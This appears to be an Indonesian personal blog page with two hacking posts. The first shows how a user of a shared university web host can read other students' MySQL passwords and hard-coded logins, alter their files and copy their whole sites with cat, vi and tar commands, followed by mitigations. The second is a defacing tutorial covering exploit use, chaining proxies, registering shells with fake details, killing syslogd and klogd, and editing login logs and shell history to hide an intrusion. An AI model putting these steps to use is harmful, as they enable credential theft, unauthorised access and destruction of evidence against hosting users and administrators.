ANDA MEMASUKI WEBLOG PRIBADI RIZKHY WAHYUDI

HACK STUDY,..!!!
HACK STUDY,..!!!
Friday, March 30, 2007
Vulnereabilitas webstudent
Sebagian besar anak-anak UGM menyerahkan urusan hosting situs pribadinya kepada server webstudent milik PusKom UGM. Di sini mahasiswa UGM dapat mendaftar secara gratis untuk hosting (cukup bagus, karena kita mendapat shell, PHP, dan MySQL, yang bila kita menyewa hosting di luar pastinya harga sewanya lumayan mahal untuk kantong mahasiswa). Server ini sebenarnya lumayan bagus walaupun kalo diakses di luar intranet UGM lumayan lambat. Server ini dibangun di atas Linux, salah satu *nix OS yang saya sukai selain FreeBSD (yang ini benar-benar Unix) karena Linux amat open source. Dan memilih distro Red Hat, yang merupakan distro yang paling terkenal selain Mandrake, Debian, Knoppix, dan Slackware. Ini dapat kita cek di www.netcraft.com dengan konfigurasi WebServer, ketika saya menulis artikel ini, menggunakan Apache versi 1.3.xx dengan PHP versi 4.2.x dan MySQL versi 4.0.xx yang masih menggunakan client protokol MySQL yang lama di mana hash passwordnya masih 16 karakter (MySQL versi 4.1.xx menggunakan hash password 32 karakter). Sebelumnya masih menggunakan MySQL 3.23.xx. Hal ini bisa dilihat dari fungsi phpinfo() yang bisa dimasukkan dengan script sbb:

phpinfo()

dan simpan dengan nama test.php atau terserah Anda, yang penting ekstensinya .php dan kemudian di- upload ke server webstudent, maka akan terlihat konfigurasi PHP-nya yang didalamnya terdapat konfigurasi server dan juga konfigurasi client MySQL yang dikompilasi bersama PHP. Maka dari informasi tersebut saya menyimpulkan hal-hal sebagai berikut:

Client MySQL-nya internal (memakai yang built-in PHP) padahal dari situs www.php.net sendiri tidak menyarankan untuk menggunakan client MySQL internal PHP karena biasanya sudah usang. Apalagi PHP 5 nanti tidak akan mem-bundle client internal MySQL untuk PHPnya. Pada manualnya disebutkan bahwa pengguna *nix pada umumnya menggunakan client external yang ada dalam bundle source MySQL.

Fasilitas PHP yang ditawarkan amat dibatasi. Yang di-enable hanya kemampuan mem-parse XML. Sedangkan dukungan terhadap GD, BZip2, Zlib, exif, dan iconv tidak di- compile. Apakah ini inisiatif admin untuk mengurangi load, tidak tahu, karena saya terbiasa menggunakan tarball untuk menginstall program di *nix box saya :) dan saya selalu meng- enable semua feature yang mungkin saya butuhkan.

Apakah analisa saya ini benar atau tidak, saya juga tidak tahu, bisa saja benar semuanya, benar sebagian, atau salah sama sekali karena saya bukan Admin, dan ini hanyalah hipotesis saya sendiri. Selain itu saya juga masih dalam taraf yang amat pemula dan masih perlu banyak belajar, saya juga bukan dan jauh dari tingkatan expert untuk *nix.

Wallahu a'lam bishawab.


INTI PERMASALAHAN

Jadi dari tadi bukan inti permasalahan to, jelas bukan, namanya aja pendahuluan, sebenarnya bab di atas adalah sedikit kritik (dan saran?) untuk webstudent agar bisa lebih baik lagi. Vulnerabilities webstudent bukan untuk mendapatkan privilege sebagai root dan bukan pada Webservernya (setidaknya ketika saya menulis artikel ini), melainkan di sisi user yang hosting di sini. Dengan vulnerabilities ini kita dimungkinkan:

- Melihat password dan username MySQL orang lain.
- Melihat password/username yang di hard-code di PHP.
- Mengganti isi dari file yang vulnerable.
- Membackup seluruh situs user yang vulnerable.

Permasalahan utama di sini adalah pada console. Apa itu? Pernah pakai PuTTY dan login ke webstudent? Nah itu yang namanya console, yang kita bisa ngetik perintah-perintah. Remote console yang digunakan oleh webstudent menggunakan protokol SSH di port 22 yang menggunakan private/public key pair dengan algoritma enkripsi RSA yang sulit sekali di-sniffing, dan tentunya kita tidak menggunakan metode *sniffing* di sini. Protokol SSH yang biasanya sudah built-in di beberapa sistem *nix ini memungkinkan kita menggunakan SCP (Secure CoPy) dan SFTP (Secure File Transfer Protocol) di remote client.

Sekarang, kita siapkan client SSH kesayangan kita yaitu PuTTY, login dengan username dan password kamu sendiri (tentunya ini hanya berlaku untuk mereka yang sudah mendaftar dan hosting di webstudent). Kita sudah masuk ke sistem server webstudent. Perintah-perintah di server ini sangat dibatasi, misalnya perintah ps, gcc, dan lain-lain yang sekiranya memberikan informasi dan privileges lebih pada user terhadap server. Tetapi perintah-perintah yang sekiranya diperlukan user seperti ls, tar, gzip, bzip2, echo, cat, more, less, rm, mv, chdir, mkdir dan masih banyak lagi. Kita di sini tidak memerlukan perintah- perintah sistem dan mengkompilasi program, kita hanya menggunakan perintah yang sudah disediakan untuk kita yaitu chdir, ls, cat, less, dan editor vi.

Setelah login, kita lihat di mana homedir kita, dapat dicek dengan perintah sbb:

$Â chdir ~
$Â pwd
/home_user/home/fnwaichan

yang dicetak tebal adalah perintah yang kita inputkan (tanpa $Â) dan yang warnanya hijau adalah outputnya. Dalam contoh di atas, misalnya fnwaichan adalah username kita (tentunya di webstudent tidak ada username seperti itu, dan kenapa saya memilih nama itu? rahasia ;P). Jadi sekarang kita tahu bahwa homedir kita berada di /home_user/home/ fnwaichan dan parent dirnya / home_user/home, dari ini kita bisa membuat perkiraan apakah semua user mahasiswa yang mendaftar di webstudent ada di directory ini? Jawabannya ya! Dan ada cara mengetahui daftar user yang menggunakan fasilitas webstudent ini dengan menggunakan alamat webstudent.ugm.ac.id. Misalnya kita sudah melihat situs server webstudent ini dan memutuskan untuk menyerang directory user vheedee (ini juga tidak ada di server webstudent) maka dari homedir kita tadi kita berpindah ke directory user vheedee. Caranya, setelah dari homedir kita tadi:

$Â chdir ../vheedee
$Â pwd
/home_user/home/vheedee

Coba di ls:

$Â ls
ls. : Permission denied

Lho koq permission denied? Jelas! karena directory ini milik orang lain yang mempunyai bit permission kira- kira : drwx--x--x yang berarti orang lain hanya bisa me-chdir tetapi tidak bisa me-read atau me-ls directory tersebut. Tetapi ingatkah kita bahwa directory yang digunakan untuk hosting berada di subdir public_html/ yang berada di bawah homedir user. Untuk itu kita coba masuk ke subdir ini:

$Â chdir public_html/
$Â pwd
/home_user/home/vheedee/ public_html
$Â ls

Lho koq keluar listing filenya? Ya! Karena directory ini untuk kebanyakan user mempunyai permission drwxr-xr-x yang berarti user lain bisa meng-ls directory ini. Setelah ini kita tampilkan semua file beserta permission tiap filenya:

$Â ls -al

Lihat listing file di kolom permission, lihat tiga karakter terakhir kalau mengandung huruf r berarti kita bisa membaca file tersebut. Tetapi kalau ia penggemar Lola Amaria dan memutuskan untuk menghilangkan huruf r sesuai dengan film yang dimainkan idolanya maka kita tidak bisa berbuat apa-apa. Misalnya kita ingin membaca file index.html maka perintahnya:

$Â cat index.html | less

dan terlihat source dari file index.html ini. Cuma itu? Ah ga menarik! Cuma source code HTML doank, berantakan lagi, mana janjinya?! Katanya bisa lihat password orang?! Eit, tunggu dulu. Untuk empat kasus di atas, mari kita bahas satu-satu.


MELIHAT UNAME DAN PASSWORD MYSQL USER LAIN

Ini hanya bisa dilakukan jika user yang bersangkutan menggunakan MySQL sebagai backend databasenya dan menggunakan PHP. Misalnya ia mempunyai blog, mempunyai halaman login, mempunyai guestbook/shoutbox, menggunakan CMS seperti phpNuke atau PostNuke, menggunakan forum misalnya phpBB atau Invision Board. Untuk kasus ini, kita menggunakan feeling dan sedikit logika kita untuk menebak kira-kira file mana yang berisi uname dan password yang bersangkutan yang biasanya diletakkan dalam file konfigurasi yang nantinya akan di-include, biasanya: config.php config.inc.php main.inc.php. Misalkan si vheedee tadi menggunakan MySQL dan file konfigurasinya dinamainya dengan nama sialan.inc.php maka kita coba lihat isinya:

$Â vi sialan.inc.php

Setelah masuk editor vi ternyata kita menemukan baris sebagai berikut:

$Âmysql_host="localhost";
$Âmysql_username="vheedee";
$Âmysql_password="aishiteru";
.
.
.
.
.

Dan dengan amat mudah kita dapatkan username dan password MySQL untuk user vheedee. Maka kita masuk ke bagian pma di webstudent: joe.student.ugm.ac.id/pma masukkan username dan password yang telah kita dapatkan tadi dan kita bisa mengubah-ubah database user tersebut semau kita. Tentunya format konfigurasi untuk mysql tidak plek seperti contoh di atas, untuk itu tadi saya bilang menggunakan feeling dan sedikit logika. Tetapi itu juga tidak begitu sulit. Cukup buka filenya dan coba di-scroll ke bawah siapa tahu kita mendapatkannya.

MENGGANTI ISI FILE YANG VULNERABLE

Tadi kita sudah membahas bagaimana kita mendapatkan username dan password dari MySQL sekarang kita coba mengganti isi dari beberapa file yang mempunyai bit permission rw untuk other (user lain selain pemilik). File ini amat langka dan jarang. Biasanya, untuk file ini adalah file guestbook atau shoutbox. Beberapa user menggunakan plain- text file untuk membuat shoutbox atau guestbook. Biasanya ini ada di tutorial di internet atau di buku pemrograman PHP. Agar server Apache dapat menulis file tersebut, maka file tersebut diharuskan mempunyai permission write untuk other user. Hal ini disebabkan karena biasanya (entah kalau di webstudent) untuk Apache adalah nobody yang merupakan unprivileged user. Untuk itu kita harus memberikan permission write untuk file teks yang menyimpan isi dari guestbook tersebut. File yang biasanya dipakai berformat sebagai berikut:

z



*-*







*-*



Tetapi bisa juga format lain. Tanda *-* adalah penanda diakhirinya message/ pesan. Untuk menggantinya, ya tinggal dilihat saja dengan editor vi seperti di atas:

$Â vi pesan.txt

setelah diubah, kita bisa keluar dari vi dengan menekan [ESC]:wq![ENTER]


MENDAPATKAN UNAME ATAU PASSWORD YANG DI HARD-CODE DI PHP

Kasusnya hampir sama dengan MySQL tadi tetapi ini lebih mudah. Misalnya kita menemukan halaman login, dan ternyata kita mengetahui kalau login tersebut di-hard code lewat pernyataan pilihan di php maka kita bisa login ke dalam sistem tersebut. Contoh login yang di-hard code:

if (($Â_POST["nama_user"]=="vheedee") && ($Â_POST["password"]=="luvme")) {
.
.
}
.
.

Script di atas berasumsi bahwa nama user dimasukkan dalam input text sebuah form yang bernama nama_user dan password di masukkan dalam field password dalam form yang bernama password, sekarang kita tinggal masukkan username dan password dalam form tersebut yang sesuai dengan isi file tadi.


MEMBACKUP SELURUH SITUS USER YANG VULNERABLE

Karena directory public_html/ dapat kita read maka kita bisa saja membackup semua isi directory tadi, masukkan ke homedir kita dan download, kemudian bawa ke rumah, caranya setelah login dan masuk ke dalam directory public_html/ user korban tadi, kita bisa mengeksekusi perintah di bawah ini:

$Â tar -cvzf ~/situs_orang_lain.tar.gz public_html/*

atau

$Â tar -cvjf ~/situs_orang_lain.tar.bz2 public_html/*

perbedaannya hanya terletak pada kompresi filenya, yang pertama dengan gzip dan yang kedua dengan bzip2. Perintah di atas akan membackup semua isi public_html dan menyimpannya di homedir kita yang kemudian kita bisa download menggunakan WinSCP atau program lain. Untuk mengekstraknya, pengguna M$Â Windows memerlukan WinRAR dan pengguna *nix menggunakan perintah di bawah ini, (misalnya kita ingin mengekstraknya di subdir output/ di homedir kita dan file yang kita download tadi sudah kita copy ke homedir kita):

$Â tar -xvzf ~/situs_orang_lain.tar.gz ~/ output/

atau

$Â tar -xvjf ~/situs_orang_lain.tar.bz2 ~/ output/

dan kita sudah mempunyai copyan seluruh file situs korban :)


KESIMPULAN

Dari uraian yang saya kemukakan di atas maka dapat disimpulkan permasalahan sebagai berikut:

Disatukannya user dalam /home_user/ home dan adanya listing user di situs webstudent.
Permission di public_html/ yang drwxr- xr-x memungkinkan user lain untuk melihat isi file di directory tersebut. Jika Anda berpikir, mengapa tidak langsung saja memblok akses read untuk public_html/ secara rekursif dengan perintah

$Â chmod -R o-r public_html/

Sebenarnya hal ini bisa dilakukan, tetapi akan membuat masalah baru yaitu Apache tidak akan bisa membaca file Anda dan berarti situs tidak bisa ditampilkan, dan percuma Anda telah bersusah payah membuat situs tetapi tidak bisa ditampilkan.

Banyak user yang menggunakan MySQL dan file konfigurasi yang berisi password dalam plain-text disimpan mau tidak mau harus mempunyai permission read di dalamnya.
Banyak user yang masih menggunakan file teks untuk menyimpan data seperti shoutbox atau guestbook dan sekali lagi mau tidak mau harus mempunyai permission read dan write di dalamnya.

CARA MENGATASI


-- FOR USER --

Untuk USER, sebelum masalah ini di- fix oleh Admin, maka untuk sementara user bisa memperkecil lubang ini dan mempersulit user lain mengakses file Anda dengan cara:

Hilangkan permission read untuk directory, karena Apache hanya memerlukan permission execute untuk men-chdir directory. INGAT! LAKUKAN INI HANYA UNTUK DIRECTORY JANGAN PADA FILE jika tidak ingin menemui masalah baru dengan tidak terbacanya file situs Anda. Caranya dengan memasukkan perintah di bawah ini untuk public_html/ dan seluruh subdir di bawah public_html/, paling tidak ini mencegah user lain meng-ls directory Anda:

$Â chmod o-r public_html/

$Â chmod o-r public_html/ nama_subdir

Untuk yang menggunakan phpBB, kita tidak bisa menghilangkan permission read di subdir admin karena jika kita coba lakukan maka modul administrasi tidak akan berjalan sebagaimana mestinya.
Hilangkan kebiasaan menyimpan data dengan plaintext. Beralihlah menggunakan database.
Enkripsi uname dan password Anda dengan algoritma enkripsi yang Anda kenal. Jika Anda bukan programmer, setidaknya sembunyikan nama variabelnya agar tidak terlalu vulgar.

Tetapi cara-cara di atas tidak akan berpengaruh jika ada orang jahat yang sudah mengetahui struktur file dalam situs Anda.


-- FOR ADMIN--

Sebenarnya ada beberapa cara untuk mengatasi hal ini jika Anda adalah root. Akan tetapi, cara yang menurut saya efektif adalah men-chroot user yang login dengan SSH seperti di OpenBSD :) daripada mendisable perintah-perintah yang saya gunakan tadi. Dengan men-chroot, berarti Anda memberikan satu lapis keamanan lagi di server Anda. Caranya:

Download tarball source OpenSSH dan juga OpenSSL yang bersesuaian.
Jika saat me-make OpenSSL keluar masalah dengan Perl maka berarti Anda perlu mengupdate Perl Anda.
Download patch OpenSSH-chroot dari sourceforge.net .
Patch source OpenSSH yang asli dengan OpenSSH-chroot dan konfigurasi sesuai dengan manual OpenSSH maupun OpenSSH-chroot, tentunya sebagai Admin saya percaya, Anda sudah sangat mengerti pentingnya RTFM (Read The Fuckin' Manual, saya tidak bermaksud tidak sopan, tetapi itulah istilah yang beredar, karena membaca manual memang sedikit menyebalkan).
Setelah sourcenya di-patch, putuskan dulu protokol SSH-nya atau alihkan ke server backup.
Kompilasi dengan make sesuai dalam manual.
Edit user skeleton, sehingga sesuai dengan lingkungan chroot-jail yang kita siapkan dengan cara meng-copy beberapa file binary yang perlu sesuai dengan manual openssh-chroot. Untuk automatisasi ketika dibuat user baru.
Edit user yang sudah ada, sebagai Admin, saya percaya, Anda sudah sangat ahli untuk membuat batch script untuk mengcopykan file yang perlu ke dalam chroot-jail (dalam hal ini homedir user) untuk seluruh user.
Testing... apakah berjalan dengan baik.
Jika dalam tahap testing lolos, maka sudah siap untuk online lagi, dengan tambahan sebuah lapis keamanan baru.
Terima kasih, semoga berguna.

from http://zaki.web.ugm.ac.id
posted by rizkhey wahyudi @ 10:30 AM   0 comments
Cerita tentang Defacer
Written by: b0iler
for: http://b0iler.eyeonsecurity.net

Pertama kalinya, saya tidak mendeface, dan tidak akan pernah melakukannya. Jadi bagaimana saya mengetahui cara mendeface? saya kira saya hanya melihat cara orang-orang mendeface dan saya bukanlah ahlinya dalam hal ini. Jika saya melakukan kesalahan maka saya mohon maaf. Ini adalah cara sederhana saat anda memikirkan bahwa mendeface itu hanya sekedar mengganti file di suatu computer. Saat ini, mencari exploit merupakan hal pertama, exploit yang sesungguhnya buah dari keterampilan, pengetahuan para hacker yang sejati. Saya tidak menganjurkan agar anda mendeface semua website, apalagi untuk mendapatkan credit card, password, source code, info billing, database email dsb... (sungguh anda benar-benar perusak yang tidak tahu diri).

Tutorial ini terdiri dari 3 bagian utama, yaitu:
1. Celah Keamanan Host
2. Menyusup
3. Menghapus Jejak

Sangat mudah, dan saya akan menunjukkan hal tersebut kepada anda.

1. Celah Keamanan Host
Ada dua kategori script kiddies: pertama, seseorang yang melakukan scan di internet pada suatu host yang memiliki celah keamanan dengan exploit tertentu dan mencari website tertentu untuk mencoba berbagai exploit. Kelompok pertama ini melakukan scanning ribuan situs dengan suatu exploit tertentu. Mereka tidak peduli siapa yang mereka hack, dan untuk apa. Mereka tidak memasang target dan tidak memiliki tujuan yang pasti. Menurut pendapat saya orang-orang ini memiliki alasan yang terlalu dibuat-buat seperti:

- "Saya hanya memastikan agar mereka mengupdate web security-nya"
- "Saya hanya menyampaikan pesan politis saja kok!"
- "Saya melakukan deface untuk mendapatkan perhatian media massa"

Orang-orang yang mendeface menjadi terkenal atau untuk menunjukkan bahwa mereka sangat terampil dan hebat, perlu kedewasaan dan menyatakan bahwa ada cara yang lebih baik ketimbang melakukan deface dengan alasan yang dibuat-buat.


Scanning Script Kiddie: Anda perlu mengetahui adanya celah keamanan, entah itu pada service yang dijalankan, sistem operasi atau file CGI-nya. Bagaimana cara anda mengetahui adanya celah keamanan? Versi berapa yang dijalankan? anda perlu mengetahui bagaimana mencarinya exploit web di internet (dengan google.com). Menggunakan suatu script untuk scanning range ip pada port tertentu yang memiliki celah keamanan. Atau menggunakan http://www.netcraft.com/ untuk mengetahui jenis server, sistem operasi dan aplikasi yang dijalankan (frontpage, php, asp, dsb..). nMap dan port scanner lainnya dapat melakukan scanning dengan cepat terhadap ribuan ip pada suatu port yang terbuka. Ini merupakan teknik favorit bagi mereka yang ingin melakukan hacking secara massal.


Website Target Script Kiddie: Sebaiknya para script kiddies melakukan hack pada berbagai website lawas. Langkah utama adalah mengumpulkan informasi situs tersebut sebanyak mungkin. Mencari sistem operasi yang dijalankan melalui netcraft.com atau menggunakan: telnet http://www.site.com/ 80 kemudian GET /HTTP/1.1 mencari service apa yang dijalankan melalui port scan. Mencari spesifikasi service dengan melakukan telnet. Mencari berbagai script CGI, atau file-file lainnya yang memungkinkan anda mengakses server tersebut dengan mengeksploitasi /cgi /cgi-bin dan browsing ke website tersebut.

Setelah mencari berbagai informasi yang anda miliki selanjutnya anda dapat melakukan:


2. Penyusupan
Untuk melakukan hal ini anda dapat mencari berbagai exploit yang dapat digunakan untuk mengakses website tersebut. JIka anda melakukan scanning dan anda akan mengetahui exploit apa yang tepat untuk digunakan. Dua temnpat utama untuk mencari exploit adalah melalui website http://www.securityfocus.com/ dan http://www.packetstormsecurity.org/. Setelah mendapatkan exploit, periksa dan pastikan bahwa exploit tersebut memang untuk versi service, sistem operasi, script dsb yang dijalankan. Exploit umumnya dibuat menggunakan dua bahasa pemrograman yaitu C dan Perl. Script Perl memiliki ekstensi .pl atau .cgi, sedangkan C memiliki ekstensi .c, untuk mengkompilasi suatu file C (pada sistem *nix) gunakan perintah gcc -o exploit12 file.c lalu: ./exploit12. Sedangkan untuk Perl cukup melakukan perintah chmod 700 file.pl (sebenarnya tidak diperlukan) lalu: file Perl.pl. Ini hanyalah teknik kompilasi yang sederhana atau hanya teori kemungkinan exploit. Lakukan saja sedikit penelitian bagaimana cara menggunakannya. Hal lain yanganda perlukan untuk memeriksa apakah exploit tersebut merupakan remote atau local. Jika exploit lokal maka anda harusmemiliki suatu account atau akses secara fisik pada computer tersebut. Jika remote maka anda dapat melakukannya melalui jaringan (internet).

Jangan hanya bisa mengkompilasi exploit, ada satu hal penting yang perlu anda ketahui yaitu:

Menghapus Jejak
Setelah anda mendapatkan informasi mengenai host dengan tujuan mencari suatu exploit yang cocok yang memungkinkan anda menyusup. Mengapa tidak segera melakukannya? masalahnya adalah menghapus jejak hacking anda tergolong sulit, sulit diprediksi. Hanya karena anda meng-"kill" sys log tidak berartibahwa anda tidak terlacak oleh logger atau IDS (Intrusion Detection System) yang dijalankan. Banyak sekali script kiddies yang meremehkan kemampuan para admin yang hostnya mereka jadikan sasaran. Sebagai gantinya para script kiddie mencoba menggunakan account isp kedua untuk memulai hacking, memang akan terlacak tapi takkan tertangkap. JIka anda tidak memiliki fasilitas ini maka anda HARUS memiliki banyak wingate, shell account atau trojan untuk melakukan bounce off. Menghubungkannya secara bersamaan akan menyulitkan seseorang melacak keberadaan anda.Log pada wingate dan shell seringkali dihapus setelah 2-7 hari. Meski log dipelihara seluruhnya, tetap sulit bagi admin untuk melacak lebih jauh wingate atau shell-nya script kiddie sebelum log tersebut harus dihapus. Dan jarang sekali seorang admin memperhatikan dengan seksama terjadinya suatu serangan, bahkan kecil kemungkinannya mau mengejar attacker, yang penting bagi mereka adalah mengamankan box mereka dan melupakan yang telah terjadi.

Untuk alasan keamanan, jika anda menggunakan wingate dan shell, jangan melakukan apapun untuk mem-"pissed off" admin terlalu banyak (yang membuat mereka memanggil otorisasi atau mencoba melacak keberadaan anda) dan hapuslah log anda agar aman. Bagaimana cara melakukannya?

Ringkasnya, kita memerlukan beberapa wingate. Wingate secara alami cenderung mengubah ip atau shutdown sepanjang waktu, jadi diperlukan daftar terbaru atau program yang melakukan scan di internet. Anda dapat mendapatkan daftar wingate yang up to date di

http://www.cyberarmy.com/lists/wingate/ atau anda juga bisa menggunakan program yang disebut winscan. Nah anggaplah anda memiliki 3 wingate:

212.96.195.33 port 23
202.134.244.215 port 1080
203.87.131.9 port 23

Untuk menggunakannya jalankan telnet dan hubungkan ke port 23, akan terlihat respon seperti ini:

CSM Proxy Server >

Untuk menghubungkan ke wingate berikutnya kita ketikkan ip:port seperti ini:

CSM Proxy Server >202.134.244.215:1080

JIka terjadi error maka proxy yang coba anda hubungi tidak ada atau anda harus login ke proxy. Jika semuanya berjalan dengan baik, anda akan mendapatkan 3 rangkaian dan shell account yang terhubung. Pada shell account tersebut anda dapat melakukan link shell bersamaan dengan:

[j00@server j00]$ ssh 212.23.53.74

Anda memperoleh free shell yang bekerja hingga mendapatkan shell lainnya yang dihack, berikut ini daftar dari free shell account. Ingat, mendaftarlah dengan informasi palsu dan jika memungkinkan, melalui suatu wingate.

SDF (freeshell.org) - http://sdf.lonestar.org/
GREX (cyberspace.org) - http://www.grex.org/
NYX - http://www.nxy.net/
ShellYeah - http://www.shellyeah.org/
HOBBITON.org - http://www.hobbiton.org/
FreeShells - http://www.freeshells.net/
DucTape - http://www.ductape.net/
Free.Net.Pl (Polish server) - http://www.free.net.pl/
XOX.pl (Polish server) - http://www.xox.pl/
IProtection - http://www.iprotection.com/
CORONUS - http://www.coronus.com/
ODD.org - http://www.odd.org/
MARMOSET - http://www.marmoset.net/
flame.org - http://www.flame.org/
freeshells - http://freeshells.net.pk/
LinuxShell - http://www.linuxshell.org/
takiweb - http://www.takiweb.com/
FreePort - http://freeport.xenos.net/
BSDSHELL - http://free.bsdshell.net/
ROOTshell.be - http://www.rootshell.be/
shellasylum.com - http://www.shellasylum.com/
Daforest - http://www.daforest.org/
FreedomShell.com - http://www.freedomshell.com/
LuxAdmin - http://www.luxadmin.org/
shellweb - http://shellweb.net/
blekko - http://blekko.net/

Setelah sebelumnya mendapatkan shell, anda dapat mengkompilasi exploit, dan anda menjadi sulit dilacak. Agar lebih yakin, hapuslah semua bukuti yang menunjukkan keberadaan anda.

Baiklah, ada beberapa hal pada sisi server yang para script kiddies perlu ketahui. Keharusan untuk mengedit atau menghapus log. Script Kiddies sejati munkin menggunakan suatu rootkit yang secara otomatis dapat menghapus log. Ada 2 log utama daemon yang akan saya jelaskan, yaitu klogd yang berupa log kernel, dan syslogd yang berupa log sistem. Langkah pertama untuk melakukan "kill" daemon tersebut agar tidak me-log apapun tindakan anda.

[root@hacked root]# ps -def | grep syslogd
[root@hacked root]# kill -9 pid_of_syslogd

Pada baris pertama kita menemukan pid syslogd, sedangkan baris kedua kita melakukan "kill" daemon tersebut, anda juga dapat menggunakan /etc/syslog.pid untuk mencari pid syslogd.

[root@hacked root]# ps -def | grep klogd
[root@hacked root]# kill -9 pid_of_klogd

Langkah yang sama kita gunakan pula terhadap klogd

Sekarang default logger telah di kill, maka script kiddies perlu menghapusnya dari log. Untuk mencari dimana syslogd menaruh log, periksa file /etc/syslog.conf. Tentunya jika anda tidak peduli kalau admin mengetahui bahwa anda menghapus seluruh log. Dalam hal ini anda benar-benar seorang "perusak", seorang defacer sialan, sang admin akan mengetahui bahwa box mereka disusupi saat website tersebut terdeface. Jadi tidak ada point yang ditambahkan log tersebut, mereka akan menghapusnya. Adapun alasannya adalah agar para admin tidak mengetahui bahwa telah terjadi pembobolan. Saya akan menuliskan alasan utama orang-orang ini membobol suatu box (system).

Mendeface website - lamer, tidak ada tujuan, hanya ingin merusak sistem.

Sniffing password jaringan - ada beberapa program yang memungkinkan anda melakukan sniff password yang dikirimkan dari dan ke suatu sistem. Jika sistem ini berada pada jaringan ethernet maka anda dapat melakukan sniff packet (yang berisikan password) yang diperuntukkan pada berbagai sistem dalam segment tersebut.


Melakukan DDoS attack. - lamer, sang admin memiliki banyak kesempatan untuk memperhatikan bagaimana anda mengirimkan ratusan MB melalui koneksinya.


Melakukan serangan lain pada suatu sistem - teknik ini dan sniffing diatas sangat umum digunakan, bukan pekerjaan lamer. Anda mengetahui bagaimana dengan suatu rootshell anda dapat melancarakan serangan dari sistem ini sebagai ganti dari keterbatasan freeshell. Anda memiliki kendali mutlak terhadap log dari shell tersebut.

Memperoleh Informasi Sensitif - Beberapa sistem perusahaan memiliki informasi berharga seperti database Credit Card, source code piranti lunak, daftar username/password, dan informasi rahasia lainnya yang diinginkan seorang hacker.

Untuk belajar dan bersenang-senang - banyak orang melakukannya demi sensasi hacking dan menambah pengalaman. Saya tidak melihat hal ini sebagai suatu kejahatan sepanjang tidak merusak apapun. Kenyataannya beberapa orang hacker bahkan menolong admin tersebut melakukan patch terhadap 'hole' yang ditemukan. Meski tergolong ilegal, asalkan tidak menghancurkan sistem orang lain.

Saya akan menjelaskan dasar-dasar file log seperti: utmp, wtmp, lastlog, dan .bash_history. File-file ini biasanya berada di /var/log/ tapi saya dengar juga bisa ada di /etc/ /usr/bin dan tempat lainnya. Pada kebanyakan sistem yang berbeda langkah terbaik adalah melakukan find / -iname 'utmp'|find / -iname 'wtmp'|find / -iname 'lastlog'. dan juga mencari melalui direktori /usr/ /var/ dan /etc/ pada log lainnya. Sekarang akan saya jelaskan ketiga file ini:

utmp merupakan file log yang mencatat siapa saja yang mengakses sistem, saya pikir anda dapat melihat mengapa log ini harus ditambahkan. Karena anda tidak ingin membiarkan siapapun mengatahui bahwa anda berada dalam sistem tersebut.

wtmp merupakan file log yang mencatat proses login dan logout, tentunya anda tidak ingin pula hal ini diketahui oleh admin. Harus diedit untuk menunjukkan bahwa anda tidak pernah login atau logout dan lastlog yang merupakan suatu file yang mencatat rekaman seluruh aktifitas login. Selain itu history dari shell yang anda gunakan juga mencatat seluruh perintah yang anda ketikkan, anda harus mencari pada direktori $ HOME dan mengeditnya.

.sh_history, .history, dan .bash_history merupakan nama umum, yang harus diedit bukan dihapus. Jika anda menghapusnya sama saja memberitahukan kepada admin bahwa "Yuhuuu, Sistem Anda Kebobolan!". Para Newbie Script Kiddies seringkali mendeface dan diikuti rm -rf/ agar aman. Sebisa mungkin hindari hal ini kecuali anda memang rada-rada sinting. Dalam kasus ini saya sarankan agar tidak mencoba mengeksploitasi sistem lagi. Cara lain untuk mencari file log adalah menjalankan suatu script yang memeriksa file-file terbuka (dan secara manual melihatnya untuk menentukan apa saja yang di-log) atau mencari file yang sudah diedit, melalui perintah seperti: find / -ctime 0 -print

Ada beberapa script populer yang dapat menyembunyikan keberadaan anda dari log seperti: zap, clear, dan cloak. Zap berfungsi untuk mengganti keberadaan anda pada log dengan angka 0, sedangkan Clear akan menghapus log dari keberadaan anda, dan Cloak akan mengganti kehadiran anda dengan informasi lain. Menurut pengalaman saya, acct-cleaner cukup berat digunakan script untuk menghapus log account. Banyak rootikit yang memiliki script penghapus log, dan saat menginstallnya log tidak akan mengetahui keberadaan anda. Jika anda berada pada sistem NT, maka file log-nya ada di C:\winNT\system32\LogFiles\, hapus file ini, para admin NT seringkali tidak memeriksa atau mengetahui artinya bila terhapus.

Hal terakhir mengenai penghapusan jejak, saya tidak akan menjelaskan secara rinci mengenai hal ini karena membutuhkan suatu pembahasan tersendiri. Saya hanya membicarakan mengenai rootkit. Apakah rootkit itu? Mereka ini digunakan secara luas guna menghapus jejak anda saat memasuki suatu sistem. Menjadikan anda tetap "hidden" dalam sistem. Login tanpa password, tidak di log oleh wtmp atau lastlog dan bahkan tanpa perlu ada pada file /etc/passwd. Dengan rootkit ini membuat perintah seperti ps untuk menyembunyikan proses, jadi tak seorangpun mengetahui program apa yang sedang anda jalankan. Mereka mengirimkan laporan palsu pada netstat, ls dan seolah-olah semuanya berjalan dengan normal. Oh, jangan senang dulu, ada beberapa kelemahan dari rootkit, pada beberapa perintah yang dilakukan menimbulkan keanehan karena binary tidak bekerja secara benar. Mereka juga meninggalkan fingerprint (cara mengetahui bahwa file ada dalam rootkit). Hanya admin yang hebat saja yang dapat memeriksa rootkit, jadi hal ini bukanlah ancaman serius, tapi patut dipertimbangkan. Rootkit dibuat dengan suatu LKM (loadable kernel modul) yang sangat ideal untuk menyembunyikan keberadaan anda dan kebanyakan admin tidak mengetahui adanya aktifitas mencurigakan.

Dalam menulis tutorial ini saya mengikutkan perasaan. Saya tidak ingin ada lagi script kiddies yang melakukan scanning ratusan website untuk dieksploitasi. Saya tidak ingin nama dan nickname saya dicatut. Saya sudah lelah mendengar orang-orang berkata seperti ini, "Tidak ada sistem komputer yang aman 100%, Update webserver anda, Hacked by ....dst." Meninggalkan nick atau nama kelompok mereka kemudian kabur begitu saja. Saya rasa banyak orang-orang yang ingin mempelajari segala sesuatu dengan tujuan membobol sistem, yang seringkali disamarkan atas nama ilmu pengetahuan.

Tutorial ini mencoba mengatakan bahwa betapa sederhananya memasuki suatu sistem. Namun bukanlah panduan lengkap, saya tidak menjelaskan banyak hal. Saya harap admin menemukan tutorial ini dan merasa terbantu, mempelajari bahwa website-nya harus dijaga dan sering melakukan patch. Melindungi diri sendiri dengan IDS dan menemukan berbagai celah keamanan pada sistem anda sendiri (menggunakan vuln scanner). Juga mengatur setting sistem eksternal untuk melakukan log bukanlah ide yang buruk. Para admin seharusnya melihat beberapa pemikiran script kiddies dan mempelajari beberapa hal yang mereka lakukan... dan menangkap basah mereka yang membobol sistem anda. Adil khan?

